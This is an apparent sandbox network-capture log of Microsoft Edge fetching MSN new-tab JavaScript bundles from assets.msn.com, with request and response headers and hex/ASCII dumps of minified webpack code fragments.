Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.64d53e17.1738443562.1b4d1feb Vary: Origin
2025-02-01 20:59:22 UTC	15143	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 76 65 6e 64 6f 72 73 2e 61 30 31 65 31 30 64 30 32 36 65 62 30 65 33 64 38 35 66 30 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 22 5d 2c 7b 37 33 30 34 30 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 74 2e 65 78 70 6f 72 74 73 3d 65 2c 74 2e 65 78 70 6f 72 74 73 2e 48 74 74 70 73 41 67 65 6e 74 3d 65 7d 2c 31 33 30 31 Data Ascii: 00006000/! For license information please see vendors.a01e10d026eb0e3d85f0.js.LICENSE.txt /(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["vendors"],{73040:function(t){function e(){}t.exports=e,t.exports.HttpsAgent=e},1301
2025-02-01 20:59:22 UTC	9445	IN	Data Raw: 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 3f 3a 28 5c 5c 64 7b 34 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 34 2b 65 29 2b 22 7d 29 7c 28 5c 5c 64 7b 32 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 32 2b 65 29 2b 22 7d 29 24 29 22 29 2c 72 3d 74 2e 6d 61 74 63 68 28 6e 29 3b 69 66 28 21 72 29 72 65 74 75 72 6e 7b 79 65 61 72 3a 4e 61 4e 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 22 22 7d 3b 76 61 72 20 69 3d 72 5b 31 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 31 5d 29 3a 6e 75 6c 6c 2c 6f 3d 72 5b 32 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 32 5d 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 7b 79 65 61 72 3a 6e 75 6c 6c 3d 3d 3d 6f 3f 69 3a 31 30 30 2a 6f 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 74 2e 73 6c 69 63 Data Ascii: ction(t,e){var n=new RegExp("^(?:(\\d{4}\|[+-]\\d{"+(4+e)+"})\|(\\d{2}\|[+-]\\d{"+(2+e)+"})$)"),r=t.match(n);if(!r)return{year:NaN,restDateString:""};var i=r[1]?parseInt(r[1]):null,o=r[2]?parseInt(r[2]):null;return{year:null===o?i:100*o,restDateString:t.slic
2025-02-01 20:59:22 UTC	16384	IN	Data Raw: 30 30 30 30 35 44 30 34 0d 0a 2c 22 63 6c 69 70 2d 70 61 74 68 22 2c 22 63 6c 69 70 2d 72 75 6c 65 22 2c 22 63 6f 6c 6f 72 22 2c 22 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 22 2c 22 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 66 69 6c 74 65 72 73 22 2c 22 63 6f 6c 6f 72 2d 70 72 6f 66 69 6c 65 22 2c 22 63 6f 6c 6f 72 2d 72 65 6e 64 65 72 69 6e 67 22 2c 22 63 78 22 2c 22 63 79 22 2c 22 64 22 2c 22 64 78 22 2c 22 64 79 22 2c 22 64 69 66 66 75 73 65 63 6f 6e 73 74 61 6e 74 22 2c 22 64 69 72 65 63 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 22 2c 22 64 69 76 69 73 6f 72 22 2c 22 64 75 72 22 2c 22 65 64 67 65 6d 6f 64 65 22 2c 22 65 6c 65 76 61 74 69 6f 6e 22 2c 22 65 6e 64 22 2c 22 66 69 6c 6c 22 2c 22 66 69 6c 6c 2d 6f 70 61 63 Data Ascii: 00005D04,"clip-path","clip-rule","color","color-interpolation","color-interpolation-filters","color-profile","color-rendering","cx","cy","d","dx","dy","diffuseconstant","direction","display","divisor","dur","edgemode","elevation","end","fill","fill-opac
2025-02-01 20:59:22 UTC	7440	IN	Data Raw: 70 6f 69 6e 74 65 72 75 70 22 2c 68 29 2c 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 6d 6f 76 65 22 2c 68 29 2c 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 73 74 61 72 74 22 2c 68 29 2c 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 65 6e 64 22 2c 68 29 7d 66 75 6e 63 74 69 6f 6e 20 76 28 29 7b 64 6f 63 75 6d 65 6e 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 6f 75 73 65 6d 6f 76 65 22 2c 68 29 2c 64 6f 63 75 6d 65 6e 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 68 29 2c 64 6f 63 75 6d 65 6e 74 2e 72 65 6d 6f 76 65 45 76 Data Ascii: pointerup",h),document.addEventListener("touchmove",h),document.addEventListener("touchstart",h),document.addEventListener("touchend",h)}function v(){document.removeEventListener("mousemove",h),document.removeEventListener("mousedown",h),document.removeEv
2025-02-01 20:59:22 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 7b 49 4e 49 54 3a 22 40 40 72 65 64 75 78 2f 49 4e 49 54 22 2b 69 28 29 2c 52 45 50 4c 41 43 45 3a 22 40 40 72 65 64 75 78 2f 52 45 50 4c 41 43 45 22 2b 69 28 29 2c 50 52 4f 42 45 5f 55 4e 4b 4e 4f 57 4e 5f 41 43 54 49 4f 4e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 40 40 72 65 64 75 78 2f 50 52 4f 42 45 5f 55 4e 4b 4e 4f 57 4e 5f 41 43 54 49 4f 4e 22 2b 69 28 29 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 75 28 74 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 7c 7c 6e 75 6c 6c 3d 3d 3d 74 29 72 65 74 75 72 6e 21 31 3b 66 6f 72 28 76 61 72 20 65 3d 74 3b 6e 75 6c 6c 21 3d 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 29 3b 29 65 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f Data Ascii: 00004000{INIT:"@@redux/INIT"+i(),REPLACE:"@@redux/REPLACE"+i(),PROBE_UNKNOWN_ACTION:function(){return"@@redux/PROBE_UNKNOWN_ACTION"+i()}};function u(t){if("object"!=typeof t\|\|null===t)return!1;for(var e=t;null!==Object.getPrototypeOf(e);)e=Object.getPro
2025-02-01 20:59:22 UTC	12	IN	Data Raw: 65 55 52 49 43 6f 6d 70 6f 6e 0d 0a Data Ascii: eURICompon
2025-02-01 20:59:22 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 65 6e 74 29 2e 72 65 70 6c 61 63 65 28 2f 5b 28 29 5d 2f 67 2c 65 73 63 61 70 65 29 3b 76 61 72 20 75 3d 22 22 3b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 6f 29 6f 5b 63 5d 26 26 28 75 2b 3d 22 3b 20 22 2b 63 2c 21 30 21 3d 3d 6f 5b 63 5d 26 26 28 75 2b 3d 22 3d 22 2b 6f 5b 63 5d 2e 73 70 6c 69 74 28 22 3b 22 29 5b 30 5d 29 29 3b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 74 2b 22 3d 22 2b 65 2e 77 72 69 74 65 28 69 2c 74 29 2b 75 7d 7d 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 7b 73 65 74 3a 69 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 26 26 28 21 61 72 67 75 6d 65 6e 74 73 2e 6c Data Ascii: 00004000ent).replace(/[()]/g,escape);var u="";for(var c in o)o[c]&&(u+="; "+c,!0!==o[c]&&(u+="="+o[c].split(";")[0]));return document.cookie=t+"="+e.write(i,t)+u}}return Object.create({set:i,get:function(t){if("undefined"!=typeof document&&(!arguments.l
2025-02-01 20:59:22 UTC	12	IN	Data Raw: 28 37 31 37 32 29 2c 41 3d 6e 0d 0a Data Ascii: (7172),A=n
2025-02-01 20:59:22 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 28 38 35 38 38 39 29 3b 76 61 72 20 45 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 30 2c 77 2e 5a 29 28 74 2c 28 30 2c 41 2e 5a 29 28 74 29 29 7d 3b 76 61 72 20 6a 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 2c 72 2c 69 2c 6f 2c 63 29 7b 76 61 72 20 77 3d 5a 28 74 2c 6e 29 2c 41 3d 5a 28 65 2c 6e 29 2c 6a 3d 63 2e 67 65 74 28 41 29 3b 69 66 28 6a 29 75 28 74 2c 6e 2c 6a 29 3b 65 6c 73 65 7b 76 61 72 20 4f 3d 6f 3f 6f 28 77 2c 41 2c 6e 2b 22 22 2c 74 2c 65 2c 63 29 3a 76 6f 69 64 20 30 2c 54 3d 76 6f 69 64 20 30 3d 3d 3d 4f 3b 69 66 28 54 29 7b 76 61 72 20 78 3d 28 30 2c 70 2e 5a 29 28 41 29 2c 4e 3d 21 78 26 26 28 30 2c 68 2e 5a 29 28 41 29 2c 53 3d 21 78 26 26 21 4e 26 26 28 30 2c 62 2e 5a 29 28 41 29 3b 4f Data Ascii: 00006000(85889);var E=function(t){return(0,w.Z)(t,(0,A.Z)(t))};var j=function(t,e,n,r,i,o,c){var w=Z(t,n),A=Z(e,n),j=c.get(A);if(j)u(t,n,j);else{var O=o?o(w,A,n+"",t,e,c):void 0,T=void 0===O;if(T){var x=(0,p.Z)(A),N=!x&&(0,h.Z)(A),S=!x&&!N&&(0,b.Z)(A);O
2025-02-01 20:59:22 UTC	8204	IN	Data Raw: 3b 76 61 72 20 6e 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 6e 75 6c 6c 21 3d 74 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 2e 63 61 6c 6c 28 74 29 7d 63 61 74 63 68 28 74 29 7b 7d 74 72 79 7b 72 65 74 75 72 6e 20 74 2b 22 22 7d 63 61 74 63 68 28 74 29 7b 7d 7d 72 65 74 75 72 6e 22 22 7d 7d 2c 32 35 32 34 38 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 2f 5c 73 2f 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 6c 65 6e 67 74 68 3b 65 2d 2d 26 26 6e 2e 74 65 73 74 28 74 2e 63 68 61 72 41 74 28 65 29 29 3b 29 3b 72 65 74 75 72 6e 20 65 7d 7d 2c 34 34 34 34 36 3a Data Ascii: ;var n=Function.prototype.toString;e.Z=function(t){if(null!=t){try{return n.call(t)}catch(t){}try{return t+""}catch(t){}}return""}},25248:function(t,e){"use strict";var n=/\s/;e.Z=function(t){for(var e=t.length;e--&&n.test(t.charAt(e)););return e}},44446:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49901	2.23.209.3	443	7764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:22 UTC	629	OUT	GET /bundles/v1/edgeChromium/latest/microsoft.7fc3109769390e0f7912.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2025-02-01 20:59:22 UTC	1241	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: uNgSH4TlVfgPvcJyj5sBtQ== Last-Modified: Wed, 22 Jan 2025 01:44:22 GMT ETag: 0x8DD3A864BA7D0DB Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 0b4d43e3-501e-0091-7c37-6d97dd000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Sat, 01 Feb 2025 20:59:22 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.62.213.100,b=458039435,c=g,n=DE_HE_FRANKFURT,o=20940] Server-Timing: clientrtt; dur=86, clienttt; dur=1, origin; dur=0, cdntime; dur=1, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.62.213.100 Akamai-Request-ID: 1b4d208b Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.64d53e17.1738443562.1b4d208b Vary: Origin
2025-02-01 20:59:22 UTC	15143	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6d 69 63 72 6f 73 6f 66 74 2e 37 66 63 33 31 30 39 37 36 39 33 39 30 65 30 66 37 39 31 32 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6d 69 63 72 6f 73 6f 66 74 22 5d 2c 7b 36 33 31 36 35 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 65 2c 7b 5a 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 41 7d 7d 29 3b 76 Data Ascii: 00006000/! For license information please see microsoft.7fc3109769390e0f7912.js.LICENSE.txt /(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["microsoft"],{63165:function(t,e,n){"use strict";n.d(e,{Z:function(){return A}});v
2025-02-01 20:59:22 UTC	9445	IN	Data Raw: 2e 59 36 2c 72 2e 62 24 2c 6f 2e 48 44 2c 6f 2e 68 6a 2c 6f 2e 6a 6e 2c 6f 2e 6d 66 2c 6f 2e 6b 4a 2c 6f 2e 4b 6e 2c 6f 2e 6e 64 2c 72 2e 4d 46 2c 6f 2e 59 36 2c 72 2e 63 70 2c 73 2e 70 37 2c 73 2e 55 59 2c 6f 2e 6c 5f 2c 6c 2e 63 39 2c 6c 2e 49 62 2c 6f 2e 49 64 2c 6f 2e 72 57 2c 6f 2e 59 6d 2c 6f 2e 6f 38 2c 6f 2e 6c 65 2c 6f 2e 6e 72 2c 6f 2e 6d 66 2c 6f 2e 4b 6e 2c 6f 2e 4a 5f 2c 6f 2e 6b 4a 2c 6f 2e 56 5a 2c 6f 2e 48 44 2c 6f 2e 68 6a 2c 6f 2e 6a 6e 2c 6f 2e 59 36 2c 6f 2e 74 4f 2c 6f 2e 55 41 2c 6f 2e 4d 72 2c 6f 2e 58 7a 2c 6f 2e 6e 64 2c 64 2e 70 75 2c 6f 2e 46 59 2c 6f 2e 6c 5f 2c 6c 2e 49 62 2c 6f 2e 6d 36 2c 72 2e 77 31 2c 61 2e 47 57 2c 61 2e 4a 6a 2c 75 2e 70 5a 2c 75 2e 61 7a 2c 75 2e 5f 6c 2c 75 2e 43 4e 2c 75 2e 46 36 2c 61 2e 44 4f 3b 66 Data Ascii: .Y6,r.b$,o.HD,o.hj,o.jn,o.mf,o.kJ,o.Kn,o.nd,r.MF,o.Y6,r.cp,s.p7,s.UY,o.l_,l.c9,l.Ib,o.Id,o.rW,o.Ym,o.o8,o.le,o.nr,o.mf,o.Kn,o.J_,o.kJ,o.VZ,o.HD,o.hj,o.jn,o.Y6,o.tO,o.UA,o.Mr,o.Xz,o.nd,d.pu,o.FY,o.l_,l.Ib,o.m6,r.w1,a.GW,a.Jj,u.pZ,u.az,u._l,u.CN,u.F6,a.DO;f
2025-02-01 20:59:22 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 65 5b 72 2e 4d 57 5d 28 61 29 2c 31 3d 3d 3d 65 3f 74 5b 63 2e 79 73 5d 28 73 29 3a 74 5b 63 2e 63 4c 5d 28 73 29 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 74 2c 6e 29 7b 76 61 72 20 69 3d 28 30 2c 6f 2e 6a 29 28 65 7c 7c 7b 7d 29 3b 69 26 26 69 5b 72 2e 6d 63 5d 26 26 69 5b 72 2e 6d 63 5d 28 74 2c 6e 29 7d 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6e 3d 28 30 2c 61 2e 76 34 29 28 74 2e 6c 6f 67 67 69 6e 67 4c 65 76 65 6c 43 6f 6e 73 6f 6c 65 2c 30 29 2c 6c 3d 28 30 2c 61 2e 76 34 29 28 74 2e 6c 6f 67 67 69 6e 67 4c 65 76 65 6c 54 65 6c 65 6d 65 74 72 79 2c 31 29 2c 68 3d 28 30 2c 61 2e 76 34 29 28 74 2e 6d 61 78 4d 65 73 73 61 67 65 4c 69 6d 69 74 2c 32 35 29 2c 66 3d 28 30 2c 61 2e 76 34 29 28 74 5b 72 2e 46 72 5d 2c 21 31 29 Data Ascii: 00006000e[r.MW](a),1===e?t[c.ys](s):t[c.cL](s)}}}function v(t,n){var i=(0,o.j)(e\|\|{});i&&i[r.mc]&&i[r.mc](t,n)}!function(t){n=(0,a.v4)(t.loggingLevelConsole,0),l=(0,a.v4)(t.loggingLevelTelemetry,1),h=(0,a.v4)(t.maxMessageLimit,25),f=(0,a.v4)(t[r.Fr],!1)
2025-02-01 20:59:22 UTC	8204	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6f 2e 5f 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 65 26 26 65 2e 75 6e 6c 6f 61 64 28 61 2c 74 29 2c 21 65 7d 2c 61 5b 69 2e 7a 56 5d 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 6e 75 6c 6c 29 2c 28 30 2c 73 2e 6b 4a 29 28 74 29 26 26 28 74 3d 62 28 74 2c 72 2c 65 2c 6e 29 29 2c 76 28 74 7c 7c 61 5b 69 2e 57 32 5d 28 29 2c 65 2c 6e 29 7d 2c 61 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 65 5b 69 2e 54 43 5d 7c 7c 7b 7d 2c 6f 3d 70 28 74 2c 72 2c 65 2c 6e 29 2e 63 74 78 3b 72 65 74 75 72 6e 20 6f 5b 69 2e 75 4c 5d 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6f 2e 69 74 65 72 61 74 65 28 28 66 Data Ascii: unction(t){var e=o._next();return e&&e.unload(a,t),!e},a[i.zV]=function(t,n){return void 0===t&&(t=null),(0,s.kJ)(t)&&(t=b(t,r,e,n)),v(t\|\|a[i.W2](),e,n)},a}function m(t,e,n){var r=e[i.TC]\|\|{},o=p(t,r,e,n).ctx;return o[i.uL]=function(t){return o.iterate((f
2025-02-01 20:59:22 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 65 3d 21 30 2c 6e 3d 21 30 2c 69 3d 21 30 2c 6f 3d 22 75 73 65 2d 63 6f 6c 6c 65 63 74 6f 72 2d 64 65 6c 74 61 22 2c 73 3d 21 31 3b 28 30 2c 72 2e 5a 29 28 74 2c 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 7d 2c 74 2e 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 26 26 28 69 3d 21 31 2c 73 7c 7c 28 65 3d 21 31 29 29 7d 2c 74 2e 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7d 2c 74 Data Ascii: 00004000=function(){function t(){var e=!0,n=!0,i=!0,o="use-collector-delta",s=!1;(0,r.Z)(t,this,(function(t){t.allowRequestSending=function(){return e},t.firstRequestSent=function(){i&&(i=!1,s\|\|(e=!1))},t.shouldAddClockSkewHeaders=function(){return n},t
2025-02-01 20:59:22 UTC	12	IN	Data Raw: 69 6f 6e 28 29 7b 44 3d 6e 75 0d 0a Data Ascii: ion(){D=nu
2025-02-01 20:59:22 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6c 6c 2c 4b 28 30 3d 3d 3d 4d 3f 33 3a 31 2c 30 2c 31 29 2c 4d 2b 2b 2c 4d 25 3d 32 2c 47 28 29 7d 29 2c 65 29 3a 4d 3d 30 29 7d 66 75 6e 63 74 69 6f 6e 20 58 28 29 7b 6e 3d 6e 75 6c 6c 2c 78 3d 21 31 2c 43 3d 5b 5d 2c 6b 3d 6e 75 6c 6c 2c 53 3d 21 31 2c 24 3d 30 2c 54 3d 35 30 30 2c 4c 3d 30 2c 4f 3d 31 65 34 2c 49 3d 7b 7d 2c 45 3d 70 2c 44 3d 6e 75 6c 6c 2c 52 3d 6e 75 6c 6c 2c 46 3d 30 2c 4d 3d 30 2c 66 3d 6e 75 6c 6c 2c 4e 3d 7b 7d 2c 76 3d 76 6f 69 64 20 30 2c 6d 3d 30 2c 6a 3d 2d 31 2c 62 3d 6e 75 6c 6c 2c 5f 3d 21 30 2c 7a 3d 21 31 2c 55 3d 36 2c 71 3d 32 2c 79 3d 6e 75 6c 6c 2c 77 3d 64 74 28 29 2c 67 3d 6e 65 77 20 63 74 28 35 30 30 2c 32 2c 31 2c 7b 72 65 71 75 65 75 65 3a 6c 74 2c 73 65 6e 64 3a 62 74 2c 73 65 6e Data Ascii: 00004000ll,K(0===M?3:1,0,1),M++,M%=2,G()}),e):M=0)}function X(){n=null,x=!1,C=[],k=null,S=!1,$=0,T=500,L=0,O=1e4,I={},E=p,D=null,R=null,F=0,M=0,f=null,N={},v=void 0,m=0,j=-1,b=null,_=!0,z=!1,U=6,q=2,y=null,w=dt(),g=new ct(500,2,1,{requeue:lt,send:bt,sen
2025-02-01 20:59:22 UTC	12	IN	Data Raw: 7b 61 3d 74 7d 7d 29 29 7d 72 0d 0a Data Ascii: {a=t}}))}r
2025-02-01 20:59:22 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 65 74 75 72 6e 20 74 2e 63 6f 6f 6b 69 65 53 65 70 61 72 61 74 6f 72 3d 22 7c 22 2c 74 2e 75 73 65 72 43 6f 6f 6b 69 65 4e 61 6d 65 3d 22 61 69 5f 75 73 65 72 22 2c 74 2e 5f 73 74 61 74 69 63 49 6e 69 74 3d 76 6f 69 64 28 30 2c 73 2e 6c 5f 29 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 22 6c 6f 63 61 6c 49 64 22 2c 45 74 2c 44 74 29 2c 74 7d 28 29 2c 52 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 65 2e 70 6f 70 53 61 6d 70 6c 65 3d 31 30 30 2c 65 2e 65 76 65 6e 74 46 6c 61 67 73 3d 30 2c 74 2e 68 61 73 68 49 64 65 6e 74 69 66 69 65 72 73 26 26 28 65 2e 65 76 65 6e 74 46 6c 61 67 73 3d 31 30 34 38 35 37 36 7c 65 2e 65 76 65 6e 74 46 6c 61 67 73 29 2c 74 2e 64 72 6f 70 49 64 65 6e 74 69 66 69 65 72 73 Data Ascii: 00004000eturn t.cookieSeparator="\|",t.userCookieName="ai_user",t._staticInit=void(0,s.l_)(t.prototype,"localId",Et,Dt),t}(),Rt=function(t){var e=this;e.popSample=100,e.eventFlags=0,t.hashIdentifiers&&(e.eventFlags=1048576\|e.eventFlags),t.dropIdentifiers
2025-02-01 20:59:22 UTC	12	IN	Data Raw: 29 3d 3e 4d 61 74 68 2e 6d 69 0d 0a Data Ascii: )=>Math.mi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49900	2.23.209.3	443	7764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:22 UTC	626	OUT	GET /bundles/v1/edgeChromium/latest/common.416deb762b0803a19e78.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2025-02-01 20:59:22 UTC	1241	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: P50E7QlvenUhLgwCxQ8dFA== Last-Modified: Fri, 31 Jan 2025 20:50:30 GMT ETag: 0x8DD4238E6788347 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 4245df45-401e-0069-1021-74cb23000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Sat, 01 Feb 2025 20:59:22 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.62.213.109,b=597103545,c=g,n=DE_HE_FRANKFURT,o=20940] Server-Timing: clientrtt; dur=86, clienttt; dur=1, origin; dur=0, cdntime; dur=1, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.62.213.109 Akamai-Request-ID: 239713b9 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.6dd53e17.1738443562.239713b9 Vary: Origin
